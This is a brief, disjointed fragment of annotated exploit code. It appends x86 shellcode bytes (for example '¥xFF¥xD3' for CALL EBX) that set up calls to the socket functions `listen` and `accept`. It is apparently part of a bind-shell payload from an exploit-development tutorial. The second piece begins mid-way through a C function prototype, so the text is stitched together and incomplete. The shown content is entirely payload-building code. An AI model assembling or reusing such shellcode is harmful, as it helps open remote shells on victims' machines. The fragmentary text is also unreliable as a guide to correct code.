# adjust the call pointer to reference `listen` block1 += "¥xB3¥x5C" # MOV BL, 0x5C # prepare the parameters on the stack for the `listen` call block1 += "¥x6A¥x7F" # PUSH 0x7F block1 += "¥x57" # PUSH EDI # invoke the call to `listen` block1 += "¥xFF¥xD3" # CALL EBX
sockfd, struct sockaddr *addr, socklen_t *addrlen); # adjust the call pointer to reference `accept` block1 += "¥xB3¥x24" # MOV BL, 0x24 # prepare the parameters on the stack for the `accept` call block1 += "¥x57" # PUSH EDI # invoke the call to `accept` block1 += "¥xFF¥xD3" # CALL EBX